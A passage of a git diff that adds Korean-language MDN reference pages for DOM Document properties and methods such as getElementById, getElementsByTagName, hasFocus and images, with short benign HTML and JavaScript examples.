href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md">Scribe's "Browser Inconsistencies" documentation</a> with bugs related to <code>document.execCommand</code>.{{CompatUnknown}}</li> +</ul> diff --git a/files/ko/web/api/document/forms/index.html b/files/ko/web/api/document/forms/index.html new file mode 100644 index 0000000000..675110bb47 --- /dev/null +++ b/files/ko/web/api/document/forms/index.html @@ -0,0 +1,77 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - Forms +translation_of: Web/API/Document/forms +--- +<div>{{APIRef("DOM")}}</div> + +<p><code>forms</code>는 현재 document에 존재하는 {{HTMLElement("form")}} element 들이 담긴 collection (an {{domxref("HTMLCollection")}})을 반환합니다.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>collection</var> = document.forms;</pre> + +<h2 id="Example" name="Example">Example: Getting form information</h2> + +<pre class="brush:html"><!DOCTYPE html> +<html lang="en"> + +<head> +<title>document.forms example</title> +</head> + +<body> + +<form id="robby"> + <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /> +</form> + +<form id="dave"> + <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /> +</form> + +<form id="paul"> + <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /> +</form> + +</body> +</html> +</pre> + +<h2 id="Example_2Getting_an_element_from_within_a_form">Example 2:Getting an element from within a form</h2> + +<pre class="brush: js">var selectForm = document.forms[index]; +var selectFormElement = document.forms[index].elements[index]; +</pre> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}</td> + <td>{{ Spec2('DOM2 Events') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="See_Also" name="See_Also">See also</h2> + +<ul> + <li>{{domxref("HTMLFormElement")}}</li> +</ul> diff --git a/files/ko/web/api/document/getelementbyid/index.html b/files/ko/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..ff66b88d8b --- /dev/null +++ b/files/ko/web/api/document/getelementbyid/index.html @@ -0,0 +1,152 @@ +--- +title: Document.getElementById() +slug: Web/API/Document/getElementById +tags: + - API + - DOM + - Document + - Elements + - Method + - Reference + - Web +translation_of: Web/API/Document/getElementById +--- +<div>{{ ApiRef("DOM") }}</div> + +<p><code><strong>Document.getElementById()</strong></code> 메서드는 주어진 문자열과 일치하는 {{domxref("Element.id", "id")}} 속성을 가진 요소를 찾고, 이를 나타내는 {{domxref("Element")}} 객체를 반환합니다. ID는 문서 내에서 유일해야 하기 때문에 특정 요소를 빠르게 찾을 때 유용합니다.</p> + +<p>ID가 없는 요소에 접근하려면 {{domxref("Document.querySelector()")}}를 사용하세요. 모든 {{Glossary("CSS selector", "선택자")}}를 사용할 수 있습니다.</p> + +<h2 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h2> + +<pre class="syntaxbox">document.getElementById(<em>id</em>); +</pre> + +<h3 id="매개변수">매개변수</h3> + +<dl> + <dt><strong><code>id</code></strong></dt> + <dd>찾으려는 요소 ID. ID는 대소문자를 구분하는 문자열로, 문서 내에서 유일해야 합니다. 즉, 하나의 값은 하나의 요소만 사용할 수 있습니다.</dd> +</dl> + +<h3 id="반환_값">반환 값</h3> + +<p>주어진 ID와 일치하는 DOM 요소를 나타내는 {{domxref("Element")}} 객체. 문서 내에 주어진 ID가 없으면 <code>null</code>.</p> + +<h2 id="예제" name="예제">예제</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html line-numbers language-html"><html> +<head> + <title>getElementById 예제</title> +</head> +<body> + <p id="para">어떤 글</p> + <button onclick="changeColor('blue');">blue</button> + <button onclick="changeColor('red');">red</button> +</body> +</html> +</pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js line-numbers language-js">function changeColor(newColor) { + var elem = document.getElementById('para'); + elem.style.color = newColor; +} +</pre> + +<h3 id="결과">결과</h3> + +<p>{{ EmbedLiveSample('예제', 250, 100) }}</p> + +<h2 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">용법</h2> + +<p>메서드 이름 중 <code>"Id"</code>의 대소문자가 정확해야 합니다. <code>getElementByID()</code>가 자연스러워 보일지라도 유효하지 않은 이름이기에 사용할 수 없습니다.</p> + +<p>{{domxref("Document.querySelector()")}}나 {{domxref("Document.querySelectorAll()")}}과는 달리 <code>getElementById()</code>는 전역 <code>document</code> 객체의 메서드로만 사용할 수 있고, DOM의 다른 객체는 메서드로 가지고 있지 않습니다. ID 값은 문서 전체에서 유일해야 하며 "국지적"인 버전을 쓸 이유가 없기 때문입니다.</p> + +<h3 id="예제_2" name="예제_2">예제</h3> + +<pre class="brush: html"><!doctype html> +<html> +<head> + <meta charset="UTF-8"> + <title>Document</title> +</head> +<body> + <div id="parent-id"> + <p>hello word1</p> + <p id="test1">hello word2</p> + <p>hello word3</p> + <p>hello word4</p> + </div> + <script> + var parentDOM = document.getElementById('parent-id'); + var test1=parentDOM.getElementById('test1'); + //throw error + //Uncaught TypeError: parentDOM.getElementById is not a function + </script> +</body> +</html> +</pre> + +<p><code>id</code>에 맞는 요소가 없을 때 <code>getElementById()</code>는 <code>null</code>을 반환합니다. 매개변수 <code>id</code>가 대소문자를 구분한다는 점을 기억하세요. <code>document.getElementById("<strong>M</strong>ain")</code>는 <code><div id="<strong>m</strong>ain"></code> 대신 <code>null</code>을 반환하는데 "M"과 "m"을 구분하기 때문입니다.</p> + +<p><strong>문서에 없는 요소</strong>는 <code>getElementById()</code>가 팀색하지 않습니다. 요소를 동적으로 생성해서 ID를 부여하더라도, {{domxref("Node.insertBefore()")}}나 비슷한 메서드로 문서 트리에 삽입해야 <code>getElementById()</code>로 접근할 수 있습니다.</p> + +<pre class="brush: js line-numbers language-js">var element = document.createElement('div'); +element.id = 'testqq'; +var el = document.getElementById('testqq'); // el이 null! +</pre> + +<p><strong>HTML이 아닌 문서</strong>. DOM 구현체는 요소의 어떤 속성이 ID인지 알고 있어야 합니다. 문서의 DTD가 정의하고 있지 않으면, 속성명이 "id"라고 해도 ID 유형인건 아닙니다. <a href="/ko/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/ko/docs/XUL" title="en-US/docs/XUL">XUL</a> 등 자주 쓰이는 문서의 경우 <code>id</code> 속성을 ID 유형으로 정의하고 있습니다. ID 유형의 속성이 어떤 것인지 모르는 다른 구현의 경우 <code>null</code>을 반환합니다.</p> + +<h2 id="Specification" name="Specification">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Initial definition for the interface</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>Supersede DOM 1</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>Supersede DOM 2</td> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Intend to supersede DOM 3</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document.getElementById")}}</p> + +<h2 id="See_also" name="See_also">같이 보기</h2> + +<ul> + <li>{{domxref("Document")}}는 문서 안의 요소에 접근할 수 있는 다른 메서드와 속성으로의 참조를 가지고 있습니다.</li> + <li>{{domxref("Document.querySelector()")}}를 사용하면 <code>'div.myclass'</code> 처럼 선택자로 요소를 탐색할 수 있습니다.</li> + <li><a href="/ko/docs/xml/xml:id" title="en-US/docs/xml/id">xml:id</a> - <code>getElementById()</code>가 (Ajax 호출 등으로 받은) XML 문서에서 "xml:id" 속성 값을 사용할 수 있도록 도와주는 메서드를 가지고 있습니다.</li> +</ul> + +<p> </p> diff --git a/files/ko/web/api/document/getelementsbytagname/index.html b/files/ko/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..1d2284b02a --- /dev/null +++ b/files/ko/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,117 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +tags: + - API + - DOM + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/getElementsByTagName +--- +<div>{{ ApiRef("DOM") }}<br> +{{domxref("Document")}} 인터페이스의 <strong><code>getElementsByTagName</code></strong> 메소드는 엘리먼트의 {{domxref("HTMLCollection")}} 과 주어진 태그명을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 검색됩니다. 반환된 <code>HTMLCollection</code> 은 살아있는데, 이는 <code>document.getElementsByTagName()</code> 을 다시 호출하지 않아도 자동으로 업데이트하여 DOM 트리와 동기화된 상태를 유지함을 의미합니다.</div> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre> + +<ul> + <li><var>elements</var> 는 트리에 나타난 순서대로 발견된 살아있는 {{domxref("HTMLCollection")}} 입니다(하지만 아래 노트를 보세요).</li> + <li><var>name</var> 은 엘리먼트의 이름을 나타내는 문자열입니다. 특수 문자 "*" 은 모든 엘리먼트를 나타냅니다.</li> +</ul> + +<div class="note"><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">최신 W3C 명세</a>에서는 <var>elements</var> 가 <code>HTMLCollection</code> 라고 하지만, WebKit 브라우저에서는 {{domxref("NodeList")}} 를 반환합니다. 자세한 내용은 {{bug(14869)}} 버그를 확인하시기 바랍니다.</div> + +<h2 id="예시">예시</h2> + +<p>다음 예시에서, <code>getElementsByTagName()</code> 는 특정 부모 엘리먼트에서 시작해 그 부모 엘리먼트의 DOM 을 거쳐 위에서 아래로 재귀 탐색을하고, 태그 <code>name</code> 파라미터에 일치하는 모든 자손 엘리먼트의 집합을 생성합니다. 여기에서는 <code>document.getElementsByTagName()</code> 과 기능적으로 동일하며 DOM 트리의 특정 엘리먼트를 시작으로하여 탐색하는 {{domxref("Element.getElementsByTagName()")}} 모두를 시연합니다.</p> + +<p>버튼 클릭은 <code>getElementsByTagName()</code> 을 사용해 특정 부모의 자손 문단(p) 엘리먼트를 셉니다(다큐먼트 자체 또는 중첩된 {{HTMLElement("div")}} 엘리먼트 중 하나).</p> + +<pre class="brush:html"><!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="UTF-8" /> + <title>getElementsByTagName example</title> + <script> + function getAllParaElems() { + var allParas = document.getElementsByTagName('p'); + var num = allParas.length; + alert('There are ' + num + ' paragraph in this document'); + } + + function div1ParaElems() { + var div1 = document.getElementById('div1'); + var div1Paras = div1.getElementsByTagName('p'); + var num = div1Paras.length; + alert('There are ' + num + ' paragraph in #div1'); + } + + function div2ParaElems() { + var div2 = document.getElementById('div2'); + var div2Paras = div2.getElementsByTagName('p'); + var num = div2Paras.length; + alert('There are ' + num + ' paragraph in #div2'); + } + </script> +</head> +<body style="border: solid green 3px"> + <p>Some outer text</p> + <p>Some outer text</p> + + <div id="div1" style="border: solid blue 3px"> + <p>Some div1 text</p> + <p>Some div1 text</p> + <p>Some div1 text</p> + + <div id="div2" style="border: solid red 3px"> + <p>Some div2 text</p> + <p>Some div2 text</p> + </div> + </div> + + <p>Some outer text</p> + <p>Some outer text</p> + + <button onclick="getAllParaElems();"> + show all p elements in document</button><br /> + + <button onclick="div1ParaElems();"> + show all p elements in div1 element</button><br /> + + <button onclick="div2ParaElems();"> + show all p elements in div2 element</button> + +</body> +</html> +</pre> + +<h2 id="노트">노트</h2> + +<p>HTML 다큐먼트에서 호출될 때, getElementsByTagName() 은 처리전에 인수를 소문자로 변환합니다. 이는 HTML 다큐먼트의 하위 트리에 속한 낙타 표기법의 SVG 엘리먼트를 찾으려할 때 바람직하지 않습니다. 그런 경우에는 {{Domxref("document.getElementsByTagNameNS()")}} 가 유용합니다.{{Bug(499656)}} 버그도 확인하시기 바랍니다.</p> + +<p><code>document.getElementsByTagName()</code> 은 전체 다큐먼트를 포함하여 탐색한다는 점만 제외하고 {{domxref("Element.getElementsByTagName()")}} 와 유사합니다.</p> + +<h2 id="명세">명세</h2> + +<ul> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li> + <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></li> +</ul> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.getElementsByTagName")}}</p> + +<h2 id="함께_보기">함께 보기</h2> + +<ul> + <li>{{domxref("Element.getElementsByTagName()")}}</li> + <li>{{domxref("document.getElementById()")}} 는 <code>id</code> 로 엘리먼트의 참조를 반환합니다</li> + <li>{{domxref("document.getElementsByName()")}} 은 <code>name</code> 으로 엘리먼트의 참조를 반환합니다</li> + <li>{{domxref("document.querySelector()")}} 는 <code>'div.myclass'</code> 같은 쿼리를 사용할 수 있는 강력한 셀렉터입니다.</li> +</ul> diff --git a/files/ko/web/api/document/getelementsbytagnamens/index.html b/files/ko/web/api/document/getelementsbytagnamens/index.html new file mode 100644 index 0000000000..77c5001581 --- /dev/null +++ b/files/ko/web/api/document/getelementsbytagnamens/index.html @@ -0,0 +1,149 @@ +--- +title: Document.getElementsByTagNameNS() +slug: Web/API/Document/getElementsByTagNameNS +tags: + - API + - DOM + - NeedsMarkupWork + - NeedsSpecTable + - getElementsByTagNameNS + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/getElementsByTagNameNS +--- +<div>{{APIRef("DOM")}}</div> + +<p>주어진 네임스페이스에 속하는 태그명을 갖는 엘리먼트의 목록을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 탐색합니다.</p> + +<h2 id="Syntax" name="Syntax">구문</h2> + +<pre class="syntaxbox"><var>elements</var> = document.getElementsByTagNameNS(<var>namespace</var>, <var>name</var>) +</pre> + +<ul> + <li><var>elements</var> 는 트리에 나타난 순서로 발견된 살아있는 {{DOMxRef("NodeList")}} 입니다(하지만 아래를 확인하세요).</li> + <li><var>namespace</var> 는 탐색하기 위한 엘리먼트의 네임스페이스 URI 입니다({{domxref("Node.namespaceURI", "element.namespaceURI")}}) 를 확인하세요).</li> + <li><var>name 은 탐색할 엘리먼트의 로컬명 또는 모든 엘리먼트에 일치하는 특별 값 <code>*</code> 입니다</var>({{domxref("Node.localName", "element.localName")}} 를 확인하세요).</li> +</ul> + +<p class="note"><strong>노트:</strong> W3C 명세는 <code>elements</code> 를 <code>NodeList</code> 라고 하였지만, Gecko 와 Internet Explorer 에서는 {{DOMxRef("HTMLCollection")}} 을 반환합니다. Opera 는<code>NodeList</code> 를 반환하지만 <code>namedItem</code> 메소드를 구현해 <code>HTMLCollection</code> 과 유사하게 만듭니다. 2012 년 1월 기준으로, WebKit 브라우저만 순수한 <code>NodeList</code> 를 반환합니다. 자세한 내용은 <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=14869">bug 14869</a> 를 확인하세요.</p> + +<p class="note"><strong>노트:</strong> 현재 이 메소드의 파라미터는 대소문자를 구분하지만, Firefox 3.5 와 그 이전에는 그렇지 않았습니다. 자세한 내용은 <a href="/ko/docs/Mozilla/Firefox/Releases/3.6#DOM">Firefox 3.6 개발자 릴리즈 노트</a>와 {{domxref("Element.getElementsByTagNameNS")}} 의 브라우저 호환성 섹션을 확인하세요.</p> + +<h2 id="Example" name="Example">예시</h2> + +<p>다음 예시에서 <code>getElementsByTagNameNS</code> 는 특정 부모 노트로부터 시작하고 위에서 아래로 해당 DOM 의 부모노드를 재귀적으로 탐색하여 태그 <code>name</code> 파라미터에 일치하는 자식 엘리먼트를 찾습니다.</p> + +<p><code>getElementByTagName</code> 이 실행된 노드가 <code>document</code> 노드가 아닐 때, {{domxref("element.getElementsByTagNameNS")}} 메소드가 사용됨을 유의하세요.</p> + +<p>다음 예시를 사용하려면, .xhtml 확장의 새 파일로 복사/붙여넣기 하세요.</p> + +<pre class="brush: html"><html xmlns="<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"> + +<head> +<title>getElementsByTagNameNS example</title> + +<script type="text/javascript"> + +function getAllParaElems() +{ + var allParas = document.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p"); + + var num = allParas.length; + + alert("There are " + num + " &lt;p&gt; elements in this document"); +} + + +function div1ParaElems() +{ + var div1 = document.getElementById("div1") + var div1Paras = div1.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p"); + + var num = div1Paras.length; + + alert("There are " + num + " &lt;p&gt; elements in div1 element"); +} + + +function div2ParaElems() +{ + var div2 = document.getElementById("div2") + var div2Paras = div2.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p"); + + var num = div2Paras.length; + + alert("There are " + num + " &lt;p&gt; elements in div2 element"); +} + +</script> +</head> + +<body style="border: solid green 3px"> +<p>Some outer text</p> +<p>Some outer text</p> + + <div id="div1" style="border: solid blue 3px"> + <p>Some div1 text</p> + <p>Some div1 text</p> + <p>Some div1 text</p> + + <div id="div2" style="border: solid red 3px"> + <p>Some div2 text</p> + <p>Some div2 text</p> + </div> + </div> + +<p>Some outer text</p> +<p>Some outer text</p> + +<button onclick="getAllParaElems();"> + show all p elements in document</button><br /> + +<button onclick="div1ParaElems();"> + show all p elements in div1 element</button><br /> + +<button onclick="div2ParaElems();"> + show all p elements in div2 element</button> + +</body> +</html> +</pre> + +<h2 id="지원하지_않는_다른_브라우저를_위한_잠재적인_대안">지원하지 않는 다른 브라우저를 위한 잠재적인 대안</h2> + +<p>원하는 브라우저가 XPath 를 지원하지 않는다면, 원하는 로컬명과 네임스페이스를 갖는 모든 태그를 찾기 위한 다른 접근법(모든 자식을 거쳐 DOM 을 횡단, 모든 @xmlns 인스턴스 식별 등)이 필요하지만, XPath 가 훨씬 빠릅니다(Explorer 에 적용하려면, 아래의 함수에서 XPath 대신 <a class="external" href="http://www.davidflanagan.com/javascript5/display.php?n=21-10&f=21/10.js">이 래퍼 클래스같은</a> XPath 래퍼를 호출할 수 있습니다(Explorer 는 다른 API 로 XPath 를 지원합니다).)</p> + +<pre class="brush: js">function getElementsByTagNameNSWrapper (ns, elName, doc, context) { + if (!doc) { + doc = document; + } + if (!context) { + context = doc; + } + + var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); + + var a = []; + for(var i = 0; i < result.snapshotLength; i++) { + a[i] = result.snapshotItem(i); + } + return a; +} +</pre> + +<h2 id="명세">명세</h2> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-getElBTNNS">DOM Level 2 Core: Document.getElementsByTagNameNS</a></p> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document.getElementsByTagNameNS")}}</p> + +<h2 id="함께_보기">함께 보기</h2> + +<ul> + <li>{{DOMxRef("Element.getElementsByTagNameNS()")}}</li> +</ul> diff --git a/files/ko/web/api/document/getselection/index.html b/files/ko/web/api/document/getselection/index.html new file mode 100644 index 0000000000..40ec764f1e --- /dev/null +++ b/files/ko/web/api/document/getselection/index.html @@ -0,0 +1,8 @@ +--- +title: Document.getSelection() +slug: Web/API/Document/getSelection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +<p>{{APIRef("DOM")}}</p> + +<p>이 메소드는 {{domxref("Window.getSelection()")}} 와 동일합니다. 이 메소드는 {{domxref("Selection")}} 형의 객체를 반환하는데, 이 객체는 현재 페이지에서 선택된 영역의 정보를 반영합니다.</p> diff --git a/files/ko/web/api/document/hasfocus/index.html b/files/ko/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..b41818b736 --- /dev/null +++ b/files/ko/web/api/document/hasfocus/index.html @@ -0,0 +1,101 @@ +--- +title: Document.hasFocus() +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - Focus + - Method + - Reference +translation_of: Web/API/Document/hasFocus +--- +<p>{{ ApiRef("DOM") }}</p> + +<p><code><strong>Document.hasFocus()</strong></code> 메소드는 문서 또는 문서 내의 요소(element) 중 어느 하나라도 포커스(focus)를 갖고 있으면 <code>true, </code>그렇지 않으면<code> false</code>인 {{jsxref("Boolean")}} 값을 반환한다. 이 메소드를 사용하여 문서내 활성화된(active) 요소가 포커스를 갖고 있는지 판단할 수 있다.</p> + +<div class="note"> +<p>문서를 볼 때, 포커스를 가진 요소는 언제나 문서상의 활성화된 요소이다. 반면에 활성화된 요소는 꼭 포커스를 갖지 않을 수 도 있다. 예를 들면 전면에 나와있지 않은(not a foreground) 팝업창 내의 활성화된 요소는 포커스를 갖고 있지 않다.</p> +</div> + +<h2 id="Syntax" name="Syntax">구문</h2> + +<pre>focused = document.hasFocus();</pre> + +<h3 id="반환_값">반환 값</h3> + +<p>문서 내의 활성화된 요소가 포커스를 갖고 있지 않으면 <code>false</code>를 반환, 포커스를 갖고 있다면 <code>true</code>를 반환</p> + +<h2 id="Example" name="Example">예제</h2> + +<pre><code><!DOCTYPE html> +<html lang="en"> +<head> +<meta charset="UTF-8" /> +<title>TEST</title> +<style> +#message { font-weight: bold; } +</style> + +<script> + +setInterval( CheckPageFocus, 200 ); + +function CheckPageFocus() { + var info = document.getElementById("message"); + + if ( document.hasFocus() ) { + info.innerHTML = "The document has the focus."; + } else { + info.innerHTML = "The document doesn't have the focus."; + } +} + +function OpenWindow() { + window.open ( + "http://developer.mozilla.org/", + "mozdev", + width=640, + height=300, + left=150, + top=260 + ); +} + +</script> +</head> + +<body> + <h1>JavaScript hasFocus example</h1> + <div id="message">Waiting for user action</div> + <div><button onclick="OpenWindow()">Open a new window</button></div> +</body> +</html></code></pre> + +<h2 id="Specification" name="Specification">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>{{Compat("api.Document.hasFocus")}}</p> + +<h2 id="관련_참고">관련 참고</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ko/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API">페이지 가시성 API 사용하기</a></li> +</ul> diff --git a/files/ko/web/api/document/head/index.html b/files/ko/web/api/document/head/index.html new file mode 100644 index 0000000000..6beb5b59a3 --- /dev/null +++ b/files/ko/web/api/document/head/index.html @@ -0,0 +1,69 @@ +--- +title: Document.head +slug: Web/API/Document/head +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/head +--- +<div>{{APIRef("DOM")}}</div> + +<p>{{domxref("Document")}} 인터페이스의 <strong><code>head</code></strong> 읽기 전용 속성은 현재 문서의 {{htmlelement("head")}} 요소를 나타냅니다.</p> + +<h2 id="Example" name="Example">예제</h2> + +<pre class="brush: html"><code><!doctype html> +<head id="my-document-head"> + <title>Example: using document.head</title> +</head> + +<script> + let theHead = document.head; + + console.log(theHead.id); // "my-document-head"; + console.log(theHead === document.querySelector("head")); // true +</script></code></pre> + +<h2 id="Example" name="Example">참고</h2> + +<p><code>Document.head</code>는 읽기 전용입니다. 값을 할당하려고 시도하면 조용히 실패하거나, <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>에서는 {{jsxref("TypeError")}}가 발생합니다.</p> + +<h2 id="명세">명세</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>{{Compat("api.Document.head")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{domxref("document.body")}}</li> +</ul> diff --git a/files/ko/web/api/document/hidden/index.html b/files/ko/web/api/document/hidden/index.html new file mode 100644 index 0000000000..13c6f0a5da --- /dev/null +++ b/files/ko/web/api/document/hidden/index.html @@ -0,0 +1,26 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +tags: + - API + - Document + - Property + - Reference +translation_of: Web/API/Document/hidden +--- +<div>{{ ApiRef("DOM") }}</div> + +<p><code><strong>Document.hidden</strong></code> 읽기 전용 속성은 페이지가 숨겨졌는지 여부를 {{jsxref("Boolean")}} 값으로 나타냅니다.</p> + +<h2 id="예제">예제</h2> + +<pre class="brush:js;">document.addEventListener("visibilitychange", function() { + console.log(document.hidden); + // 숨김 여부가 변했을 때의 행동 +});</pre> + +<h2 id="명세">명세</h2> + + + +<p>{{Compat("api.Document.hidden")}}</p> diff --git a/files/ko/web/api/document/images/index.html b/files/ko/web/api/document/images/index.html new file mode 100644 index 0000000000..702ad66bc5 --- /dev/null +++ b/files/ko/web/api/document/images/index.html @@ -0,0 +1,52 @@ +--- +title: Document.images +slug: Web/API/Document/images +translation_of: Web/API/Document/images +--- +<div>{{APIRef("DOM")}}</div> + +<p><code>document.images</code> 는 현재 HTML document 내부의 <a href="/en-US/docs/DOM/Image" title="DOM/Image">images</a> collection을 반환합니다.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><em>var htmlCollection</em> = document.images;</pre> + +<h2 id="Example" name="Example">Example</h2> + +<pre class="brush:js">var ilist = document.images; + +for(var i = 0; i < ilist.length; i++) { + if(ilist[i].src == "banner.gif") { + // found the banner + } +}</pre> + +<h2 id="Notes" name="Notes">Notes</h2> + +<p><code>document.images.length</code> – 페이지의 이미지 갯수를 반환하는 속성</p> + +<p><code>document.images </code>는 DOM HTML의 part이며, HTML documents 에서만 지원된다.</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-images', 'Document.images')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-90379117', 'Document.images')}}</td> + <td>{{ Spec2('DOM2 Events') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> diff --git a/files/ko/web/api/document/implementation/index.html b/files/ko/web/api/document/implementation/index.html new file mode 100644 index 0000000000..79b50f451e --- /dev/null +++ b/files/ko/web/api/document/implementation/index.html @@ -0,0 +1,55 @@ +--- +title: Document.implementation +slug: Web/API/Document/implementation +tags: + - API + - DOM + - NeedsContent + - Property + - Reference +translation_of: Web/API/Document/implementation +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>현재 document에 연관된 {{domxref("DOMImplementation")}} 객체를 반환합니다.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>DOMImpObj</var> = document.implementation; +</pre> + +<h2 id="Example">Example</h2> + +<pre class="brush: js">var modName = "HTML"; +var modVer = "2.0"; +var conformTest = document.implementation.hasFeature( modName, modVer ); + +alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest ); + +// alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported. +</pre> + +<p>모듈 네임 목록(예: Core, HTML, XML, 등등)은 DOM Level 2 <a href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance-h2">Conformance 섹션</a>에서 확인하실 수 있습니다.</p> + +<h2 id="Notes">Notes</h2> + +<p>W3C의 DOM Level 1 권고안에는 DOM 모듈을 브라우저에서 지원하는지를 확인하는 방법 중 하나인 <code>hasFeature</code> 메소드만 명시되어 있습니다(위 예제와 <a href="http://www.w3.org/2003/02/06-dom-support.html">What does your user agent claim to support?</a> 문서를 확인하세요). 사용이 가능한 경우, 다른 <code>DOMImplementation</code> 메소드들이 단일 document 외부의 